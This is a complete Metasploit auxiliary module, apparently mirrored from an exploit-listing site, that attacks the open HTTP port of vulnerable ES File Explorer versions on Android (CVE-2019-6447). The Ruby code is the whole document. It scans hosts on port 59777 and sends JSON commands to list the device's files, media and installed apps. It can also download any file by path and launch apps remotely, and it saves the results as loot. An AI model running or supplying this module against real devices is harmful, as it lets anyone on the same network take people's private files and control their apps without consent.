Exploit for ES File Explorer Open Port CVE-2019-6447

## https://sploitus.com/exploit?id=PACKETSTORM:181160
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'ES File Explorer Open Port',  
'Description' => %q{  
This module connects to ES File Explorer's HTTP server to run  
certain commands. The HTTP server is started on app launch, and is available  
as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable  
This module has been tested against 4.1.9.5.1.  
},  
'References' =>  
[  
['CVE', '2019-6447'],  
['URL', 'https://www.ms509.com/2016/03/01/es-explorer-vul/'],  
['URL', 'https://github.com/fs0c131y/ESFileExplorerOpenPortVuln'],  
['URL', 'https://twitter.com/fs0c131y/status/1085460755313508352'],  
],  
'Author' => [  
'小荷才露尖尖角', # discovery (2016)  
'moonbocal', # discovery (2019)  
'fs0c131y', # poc  
'h00die' # msf module  
],  
'DisclosureDate' => 'Jan 16 2019',  
'License' => MSF_LICENSE,  
'Actions' => [  
['LISTFILES', 'Description' => 'List all the files on the sdcard'],  
['LISTPICS', 'Description' => 'List all the pictures'],  
['LISTVIDEOS', 'Description' => 'List all the videos'],  
['LISTAUDIOS', 'Description' => 'List all the audio files'],  
['LISTAPPS', 'Description' => 'List all the apps installed'],  
['LISTAPPSSYSTEM', 'Description' => 'List all the system apps installed'],  
['LISTAPPSPHONE', 'Description' => 'List all the phone apps installed'],  
['LISTAPPSSDCARD', 'Description' => 'List all the apk files stored on the sdcard'],  
['LISTAPPSALL', 'Description' => 'List all the apps installed'],  
['GETDEVICEINFO', 'Description' => 'Get device info'],  
['GETFILE', 'Description' => 'Get a file from the device. ACTIONITEM required.'],  
['APPLAUNCH', 'Description' => 'Launch an app. ACTIONITEM required.'],  
],  
'DefaultAction' => 'GETDEVICEINFO',  
)  
  
register_options([  
Opt::RPORT(59777),  
OptString.new('ACTIONITEM', [false,'If an app or filename if required by the action']),  
])  
  
end  
  
def sanitize_json(j)  
j.gsub!("},\r\n]", "}]")  
j.gsub!("'", '"')  
return j.gsub('", }', '"}')  
end  
  
def http_post(command)  
send_request_raw(  
'uri' => '/',  
'method' => 'POST',  
'data' => "{ \"command\":#{command} }",  
'ctype' => 'application/json',  
)  
end  
  
def run_host(target_host)  
case  
when action.name == 'LISTFILES'  
res = http_post('listFiles')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listFiles.json', 'application/json', target_host, res.body, 'es_file_explorer_listfiles.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['type']}: #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}\n"  
end  
print_good(pretty_response)  
when action.name == 'LISTPICS'  
res = http_post('listPics')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listPics.json', 'application/json', target_host, res.body, 'es_file_explorer_listpics.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"  
end  
print_good(pretty_response)  
when action.name == 'LISTVIDEOS'  
res = http_post('listVideos')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listVideos.json', 'application/json', target_host, res.body, 'es_file_explorer_listvideos.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"  
end  
print_good(pretty_response)  
when action.name == 'LISTAUDIOS'  
res = http_post('listAudios')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listAudio.json', 'application/json', target_host, res.body, 'es_file_explorer_listaudio.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"  
end  
print_good(pretty_response)  
when action.name == 'LISTAPPS'  
res = http_post('listApps')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listApps.json', 'application/json', target_host, res.body, 'es_file_explorer_listapps.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"  
end  
print_good(pretty_response)  
when action.name == 'LISTAPPSSYSTEM'  
res = http_post('listAppsSystem')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listAppsSystem.json', 'application/json', target_host, res.body, 'es_file_explorer_listappssystem.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"  
end  
print_good(pretty_response)  
when action.name == 'LISTAPPSPHONE'  
res = http_post('listAppsPhone')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listAppsPhone.json', 'application/json', target_host, res.body, 'es_file_explorer_listappsphone.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"  
end  
print_good(pretty_response)  
when action.name == 'LISTAPPSSDCARD'  
res = http_post('listAppsSdcard')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listAppsSdcard.json', 'application/json', target_host, res.body, 'es_file_explorer_listappssdcard.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"  
end  
print_good(pretty_response)  
when action.name == 'LISTAPPSALL'  
res = http_post('listAppsAll')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('listAppsAll.json', 'application/json', target_host, res.body, 'es_file_explorer_listappsall.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
pretty_response = "#{peer}\n"  
json_resp.each do |f|  
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"  
end  
print_good(pretty_response)  
when action.name == 'GETDEVICEINFO'  
res = http_post('getDeviceInfo')  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable or Bad Response")  
return  
end  
path = store_loot('getDeviceInfo.json', 'application/json', target_host, res.body, 'es_file_explorer_getdeviceinfo.json')  
vprint_good("#{peer}- Result saved to #{path}")  
json_resp = JSON.parse(sanitize_json(res.body))  
print_good("#{peer}- Name: #{json_resp['name']}")  
when action.name == 'GETFILE'  
unless datastore['ACTIONITEM'].start_with?('/')  
print_error('Action item is a path for GETFILE, like /system/app/Browser.apk')  
end  
res = send_request_raw(  
'uri' => datastore['ACTIONITEM'],  
'method' => 'GET',  
'ctype' => 'application/json',  
)  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable, Bad Response. File may not be available for download.")  
return  
end  
path = store_loot('getFile', 'application/octet-stream', target_host, res.body, datastore['ACTIONITEM'])  
print_good("#{peer}- #{datastore['ACTIONITEM']} saved to #{path}")  
when action.name == 'APPLAUNCH'  
if datastore['ACTIONITEM'].empty?  
print_error('Action item is a path for GETFILE, like com.android.chrome')  
end  
res = send_request_raw(  
'uri' => '/',  
'method' => 'POST',  
'data' => "{ \"command\":appLaunch, \"appPackageName\":#{datastore['ACTIONITEM']} }",  
'ctype' => 'application/json',  
)  
unless res  
print_error("#{peer}- Error Connecting")  
return  
end  
unless res.code == 200  
print_error("#{peer}- Not Vulnerable, Bad Response. File may not be available for download.")  
return  
end  
if res.body.include?('NameNotFoundException')  
print_error("#{peer}- Application #{datastore['ACTIONITEM']} not found on device")  
return  
elsif res.body.include?('{"result":"0"}')  
print_good("#{peer}- #{datastore['actionitem']} launched successfully")  
end  
end  
end  
end